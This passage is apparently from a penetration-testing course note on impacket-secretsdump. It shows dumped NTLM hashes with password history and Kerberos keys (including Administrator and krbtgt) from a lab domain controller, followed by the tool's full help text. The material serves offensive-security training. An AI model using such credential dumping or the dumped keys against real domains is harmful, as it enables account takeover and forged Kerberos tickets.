DC1$_history3:1000:aad3b435b51404eeaad3b435b51404ee:c58e81fd59dd0d8659c45ca5be5de7ee::: DC1$_history4:1000:aad3b435b51404eeaad3b435b51404ee:a139e614689d53ceb28ba05ee5e4a9e6::: DC1$_history5:1000:aad3b435b51404eeaad3b435b51404ee:65dcb40635cb6e1794c7b17294d6d390::: DC1$_history6:1000:aad3b435b51404eeaad3b435b51404ee:7f824079fec567a516d7d3b035759dc5::: DC1$_history7:1000:aad3b435b51404eeaad3b435b51404ee:e1ce4bb721177ebe0e50794fa596710b::: DC1$_history8:1000:aad3b435b51404eeaad3b435b51404ee:6183098fbf2531367e61a556519156a6::: WEB04$:1112:aad3b435b51404eeaad3b435b51404ee:b978b34b15b5291f809e7ccd4dbcf6eb::: (pwdLastSet=2026-04-29 17:55) (status=Enabled) WEB04$_history0:1112:aad3b435b51404eeaad3b435b51404ee:2f61bb6a6003bb226f2310abad1b5fda::: WEB04$_history1:1112:aad3b435b51404eeaad3b435b51404ee:6ce7a763842704c39101fea70b77a6bc::: WEB04$_history2:1112:aad3b435b51404eeaad3b435b51404ee:bb12f27d7182f1fe5d41b22e8f716dc1::: WEB04$_history3:1112:aad3b435b51404eeaad3b435b51404ee:e5c7af361f92f5c6cf9988d49468eaa0::: WEB04$_history4:1112:aad3b435b51404eeaad3b435b51404ee:b5a475c4da3aa455383fe2948bf78876::: WEB04$_history5:1112:aad3b435b51404eeaad3b435b51404ee:b54cf769ed1fddab708955d5fe78c2fa::: WEB04$_history6:1112:aad3b435b51404eeaad3b435b51404ee:8347dea2d8aaadbd74e4f1035fc8e32b::: WEB04$_history7:1112:aad3b435b51404eeaad3b435b51404ee:24089111a21204f0be8b5680e9b0fa88::: WEB04$_history8:1112:aad3b435b51404eeaad3b435b51404ee:5b97eaec6bb5f4b0ba0b6511e58a03df::: WEB04$_history9:1112:aad3b435b51404eeaad3b435b51404ee:87db4a6147afa7bdb46d1ab2478ffe9e::: WEB04$_history10:1112:aad3b435b51404eeaad3b435b51404ee:a189f510ece973aa9b3ffe9ad9f0dd0d::: FILES04$:1118:aad3b435b51404eeaad3b435b51404ee:87c0f6702032ce2cf34b56455f68738c::: (pwdLastSet=2026-04-29 17:56) (status=Enabled) FILES04$_history0:1118:aad3b435b51404eeaad3b435b51404ee:61c647ba15c060fb2fa1009ccc443200::: FILES04$_history1:1118:aad3b435b51404eeaad3b435b51404ee:024e0b5bc4f09a8f909813e2c5041a2c::: FILES04$_history2:1118:aad3b435b51404eeaad3b435b51404ee:f1d2027e531c6044648d4a1f0ce96b93::: FILES04$_history3:1118:aad3b435b51404eeaad3b435b51404ee:60a937e9783d675e0321cfc864bf80cf::: FILES04$_history4:1118:aad3b435b51404eeaad3b435b51404ee:b206bc76ff2caed6cf4235a4f47e20ce::: FILES04$_history5:1118:aad3b435b51404eeaad3b435b51404ee:484e10b3791f36faa00c838db0b0266a::: FILES04$_history6:1118:aad3b435b51404eeaad3b435b51404ee:234d75156a1b5be9b6a9b74f6bf11b23::: FILES04$_history7:1118:aad3b435b51404eeaad3b435b51404ee:4c66fc9c1bbf4d242020e8406055e537::: FILES04$_history8:1118:aad3b435b51404eeaad3b435b51404ee:d75ffc4baaeb9ed40f7aa12d1f57f6f4::: FILES04$_history9:1118:aad3b435b51404eeaad3b435b51404ee:9cc62102cfcea45049070cc8414beb9c::: CLIENT74$:1121:aad3b435b51404eeaad3b435b51404ee:b49d67bb5e56f28ada5dbd154efb798d::: (pwdLastSet=2026-04-29 18:11) (status=Enabled) CLIENT74$_history0:1121:aad3b435b51404eeaad3b435b51404ee:0db7df8c05e0b0ca700d713099eb5a13::: CLIENT74$_history1:1121:aad3b435b51404eeaad3b435b51404ee:31b5ed7d0a3a698d412c2d7d5aa2aca8::: CLIENT74$_history2:1121:aad3b435b51404eeaad3b435b51404ee:141634d9a04640665d74b88438886069::: CLIENT74$_history3:1121:aad3b435b51404eeaad3b435b51404ee:0186aa65a872e0f4b8c3d21d430d3698::: CLIENT74$_history4:1121:aad3b435b51404eeaad3b435b51404ee:db44d7c32902a8b9673c39c62164bd22::: CLIENT74$_history5:1121:aad3b435b51404eeaad3b435b51404ee:c65fd43336cc447f7421b2e43990073f::: CLIENT74$_history6:1121:aad3b435b51404eeaad3b435b51404ee:c6e1cdeed938541ef70e8fd97dd4f8ec::: CLIENT74$_history7:1121:aad3b435b51404eeaad3b435b51404ee:ac57d48f327fbb9cf26ecaad74b2c6db::: CLIENT74$_history8:1121:aad3b435b51404eeaad3b435b51404ee:ac970c07d30ef3027b4f9c9322acfb9a::: CLIENT74$_history9:1121:aad3b435b51404eeaad3b435b51404ee:ef280feb0eb75683900a78520a0210ef::: CLIENT74$_history10:1121:aad3b435b51404eeaad3b435b51404ee:61ba7784f0cd39f2c69fc7ab68941e3b::: CLIENT74$_history11:1121:aad3b435b51404eeaad3b435b51404ee:f05245c37b125b88c905acbbf19b7541::: CLIENT74$_history12:1121:aad3b435b51404eeaad3b435b51404ee:5eca857673356d26a98e2466a0fb1c65::: CLIENT74$_history13:1121:aad3b435b51404eeaad3b435b51404ee:8d99c481b614c2302fb24f2a7d237410::: CLIENT75$:1122:aad3b435b51404eeaad3b435b51404ee:22717621b0b5277694caa1693e4eaf5c::: (pwdLastSet=2026-04-29 18:11) (status=Enabled) CLIENT75$_history0:1122:aad3b435b51404eeaad3b435b51404ee:eb8899a479e83af3ef44e6d49b48abb2::: CLIENT75$_history1:1122:aad3b435b51404eeaad3b435b51404ee:83582e1d6c859ac47dc703bbe72bfe73::: CLIENT75$_history2:1122:aad3b435b51404eeaad3b435b51404ee:ef2facf0f0f3e1bfeb2f5426fd3c215c::: CLIENT75$_history3:1122:aad3b435b51404eeaad3b435b51404ee:b7fe3ce623c7806b7aefa4ef3b9582f8::: CLIENT75$_history4:1122:aad3b435b51404eeaad3b435b51404ee:d6aaa94b6b4bd2e6c59c703a2cb39444::: CLIENT75$_history5:1122:aad3b435b51404eeaad3b435b51404ee:873272b198f5a3762cb7d67cf48bad91::: CLIENT75$_history6:1122:aad3b435b51404eeaad3b435b51404ee:836faf92138b5e321ba7feea94c98a83::: CLIENT75$_history7:1122:aad3b435b51404eeaad3b435b51404ee:107bef3b02b916c75254a8d721a7dc61::: CLIENT75$_history8:1122:aad3b435b51404eeaad3b435b51404ee:8bac8a743f1b8067c95eae94aeaeaf56::: CLIENT75$_history9:1122:aad3b435b51404eeaad3b435b51404ee:b57715dcb5b529f212a9a4effd03aaf6::: CLIENT75$_history10:1122:aad3b435b51404eeaad3b435b51404ee:3d0bbcfc37ac38c8620b7873e2abfceb::: CLIENT76$:1129:aad3b435b51404eeaad3b435b51404ee:f49dc3681d94d08ac018180589513269::: (pwdLastSet=2026-04-29 18:10) (status=Enabled) CLIENT76$_history0:1129:aad3b435b51404eeaad3b435b51404ee:c06a3d3d9dfe4af367e7a2ea975274b7::: CLIENT76$_history1:1129:aad3b435b51404eeaad3b435b51404ee:25e39bc52824be0402b249cd4672e041::: CLIENT76$_history2:1129:aad3b435b51404eeaad3b435b51404ee:9e9045534de26db2eb76f6d49fcc88bc::: CLIENT76$_history3:1129:aad3b435b51404eeaad3b435b51404ee:f9d927202d36cf29ac42ee35a69d0055::: CLIENT76$_history4:1129:aad3b435b51404eeaad3b435b51404ee:abcc140b45722fac2b1a464911ea55d8::: CLIENT76$_history5:1129:aad3b435b51404eeaad3b435b51404ee:dab47d080f3e595b38d4381020441f55::: CLIENT76$_history6:1129:aad3b435b51404eeaad3b435b51404ee:ffc9c8045e2f6faf2cc5bfd02d511a27::: CLIENT76$_history7:1129:aad3b435b51404eeaad3b435b51404ee:6f93b1d8bbbe2da617be00961f90349e::: CLIENT76$_history8:1129:aad3b435b51404eeaad3b435b51404ee:dbcc1f7875d051785f63b7bc559a74a3::: CLIENT76$_history9:1129:aad3b435b51404eeaad3b435b51404ee:4e7437df69bde8504a94a1d4c3f4e9c3::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:56136fd5bbd512b3670c581ff98144a553888909a7bf8f0fd4c424b0d42b0cdc Administrator:aes128-cts-hmac-sha1-96:3d58eb136242c11643baf4ec85970250 Administrator:des-cbc-md5:fd79dc380ee989a4 krbtgt:aes256-cts-hmac-sha1-96:e1cced9c6ef723837ff55e373d971633afb8af8871059f3451ce4bccfcca3d4c krbtgt:aes128-cts-hmac-sha1-96:8c5cf3a1c6998fa43955fa096c336a69 krbtgt:des-cbc-md5:683bdcba9e7c5de9 dave:aes256-cts-hmac-sha1-96:4d8d35c33875a543e3afa94974d738474a203cd74919173fd2a64570c51b1389 dave:aes128-cts-hmac-sha1-96:f94890e59afc170fd34cfbd7456d122b dave:des-cbc-md5:1a329b4338bfa215 stephanie:aes256-cts-hmac-sha1-96:bacff5a5fbda4c38b58b343a5bc235021a366512d0aebf464662d0fe65fceb9f stephanie:aes128-cts-hmac-sha1-96:95218fc23b3e0784931a3ed38f6fdc60 stephanie:des-cbc-md5:31ae1c9d3225da25 jeff:aes256-cts-hmac-sha1-96:9af9aa5a4271ee27c111a40e16260ae8394bdb899d1b49771fbe110fa7982fd1 jeff:aes128-cts-hmac-sha1-96:8957241e5ebb8321ccd595662a5a98d2 jeff:des-cbc-md5:c8bff7f79283c138 jeffadmin:aes256-cts-hmac-sha1-96:d6754b8ed7a9cb4ba2793aae0b77dac971fba194857843f97579e5fda7f682ab jeffadmin:aes128-cts-hmac-sha1-96:9f9c0be62237491d9eeeeb32d0f5eb1e jeffadmin:des-cbc-md5:d3b92f5eceecec86 iis_service:aes256-cts-hmac-sha1-96:9fccc377d0bc13ca49bca6725a9af461f2ca65db4e03aa0ddb8969ab716052cc iis_service:aes128-cts-hmac-sha1-96:a4e7665d09c998d270ab363ed5db9919 iis_service:des-cbc-md5:e5ba07c82fdc8c3b pete:aes256-cts-hmac-sha1-96:27eb48bb2bfe936b430c6de8a7f550caa0f1827f98360179d9a88fdd0b511364 pete:aes128-cts-hmac-sha1-96:e193f9ac58c54f8441fa60bfe332d68b pete:des-cbc-md5:167a70ced398a4c8 jen:aes256-cts-hmac-sha1-96:e7888faaee7503efe4888e146c7c24bb87507a33ce449b2e85805988f35daf99 jen:aes128-cts-hmac-sha1-96:5dafc32c5844d2a3c89ffcc7409ad7e4 jen:des-cbc-md5:4985324658587557 DC1$:aes256-cts-hmac-sha1-96:db7fc819e854b3c430132e617f0fa0a8537b6de7dda1c2f3b98a7dbee2dbc53c DC1$:aes128-cts-hmac-sha1-96:eeecb0802d5f99b09b40430b65e35848 DC1$:des-cbc-md5:e97f16d6d5585b1f WEB04$:aes256-cts-hmac-sha1-96:c588299ceb6a770a1a2af4981e7baad179a70944e1edf9fb8d99de001f397584 WEB04$:aes128-cts-hmac-sha1-96:31f7a83891ae7f334defc6e3eecb9619 WEB04$:des-cbc-md5:915279739186c7ce FILES04$:aes256-cts-hmac-sha1-96:e96d68c458166313388e435abb2b330323be7597e94b7e46b3037c93ccd840a5 FILES04$:aes128-cts-hmac-sha1-96:e39eac7e67e7d1c45c05097b843da86e FILES04$:des-cbc-md5:2c8fb36446e00bc4 CLIENT74$:aes256-cts-hmac-sha1-96:979e0ff34edc1d47e1eecf5ab96c7a39f38b279d200027a16c2afd3d1598e0f0 CLIENT74$:aes128-cts-hmac-sha1-96:9326595c5399838b25b30df7a6cff749 CLIENT74$:des-cbc-md5:e0a1921c8ad9c7ba CLIENT75$:aes256-cts-hmac-sha1-96:2a7524df9097c7b4ae28340147d0c6870a969507b5e3819e66e47899991ebc48 CLIENT75$:aes128-cts-hmac-sha1-96:533ad569c4a0346185ae243d5795deb2 CLIENT75$:des-cbc-md5:10c20da23b805725 CLIENT76$:aes256-cts-hmac-sha1-96:1b7715601982f17bac80e27a6a1df327438d5a62cd5fbce57559fab548d54f12 CLIENT76$:aes128-cts-hmac-sha1-96:4be3fd32a9a86d742715ed30d9e40713 CLIENT76$:des-cbc-md5:982368fd2fa72fc7 [*] Cleaning up... ```
#### Usage information
impacket-secretsdump -h ```bash ┌──(kali㉿kali)-[~/OffSec_Courses/PEN-200] └─$ impacket-secretsdump -h Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies usage: secretsdump.py [-h] [-ts] [-debug] [-system SYSTEM] [-bootkey BOOTKEY] [-security SECURITY] [-sam SAM] [-ntds NTDS] [-resumefile RESUMEFILE] [-skip-sam] [-skip-security] [-outputfile OUTPUTFILE] [-use-vss] [-rodcNo RODCNO] [-rodcKey RODCKEY] [-use-keylist] [-exec-method [{smbexec,wmiexec,mmcexec}]] [-use-remoteSSWMI] [-use-remoteSSWMI-NTDS] [-remoteSSWMI-remote-volume REMOTESSWMI_REMOTE_VOLUME] [-remoteSSWMI-local-path REMOTESSWMI_LOCAL_PATH] [-just-dc-user USERNAME] [-ldapfilter LDAPFILTER] [-just-dc] [-just-dc-ntlm] [-skip-user SKIP_USER] [-pwd-last-set] [-user-status] [-history] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip address] [-target-ip ip address] target Performs various techniques to dump secrets from the remote machine without executing any agent there. positional arguments: target [[domain/]username[:password]@] or LOCAL (if you want to parse local files) options: -h, --help show this help message and exit -ts Adds timestamp to every logging output -debug Turn DEBUG output ON -system SYSTEM SYSTEM hive to parse (only binary REGF, as .reg text file lacks the metadata to compute the bootkey) -bootkey BOOTKEY bootkey for SYSTEM hive -security SECURITY SECURITY hive to parse -sam SAM SAM hive to parse -ntds NTDS NTDS.DIT file to parse -resumefile RESUMEFILE resume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session's state -skip-sam Do NOT parse the SAM hive on remote system -skip-security Do NOT parse the SECURITY hive on remote system -outputfile OUTPUTFILE base output filename. Extensions will be added for sam, secrets, cached and ntds -use-vss Use the NTDSUTIL VSS method instead of default DRSUAPI -rodcNo RODCNO Number of the RODC krbtgt account (only avaiable for Kerb-Key-List approach) -rodcKey RODCKEY AES key of the Read Only Domain Controller (only avaiable for Kerb-Key-List approach) -use-keylist Use the Kerb-Key-List method instead of default DRSUAPI -exec-method [{smbexec,wmiexec,mmcexec}] Remote exec method to use at target (only when using -use-vss). Default: smbexec -use-remoteSSWMI Remotely create Shadow Snapshot via WMI and download SAM, SYSTEM and SECURITY from it, the parse locally -use-remoteSSWMI-NTDS Dump NTDS.DIT also when using the Remote Shadow Snapshot Method via WMI. Use it with dumping from a DC. IMPORTANT: this flag only works when also using -use-remoteSSWMI -remoteSSWMI-remote-volume REMOTESSWMI_REMOTE_VOLUME Remote Volume to perform the Shadow Snapshot and download SAM, SYSTEM and SECURITY. It defaults to C:\ -remoteSSWMI-local-path REMOTESSWMI_LOCAL_PATH Path where download SAM, SYSTEM and SECURITY from Shadow Snapshot. It defaults to current path display options: -just-dc-user USERNAME Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch -ldapfilter LDAPFILTER Extract only NTDS.DIT data for specific users based on an LDAP filter. Only available for DRSUAPI approach. Implies also -just-dc switch -just-dc Extract only NTDS.DIT data (NTLM hashes and Kerberos keys) -just-dc-ntlm Extract only NTDS.DIT data (NTLM hashes only) -skip-user SKIP_USER Do NOT extract NTDS.DIT data for the user specified. Can provide comma-separated list of users to skip, or text file with one user per line -pwd-last-set Shows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile data -user-status Display whether or not the user is disabled -history Dump password history, and LSA secrets OldVal authentication: -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH -no-pass don't ask for password (useful for -k) -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits) -keytab KEYTAB Read keys for SPN from keytab file connection: -dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it ```
## Resources Impacket - GitHub: Impacket - Homepage: Impacket - Kali Tools: Impacket-scripts - Kali Tools: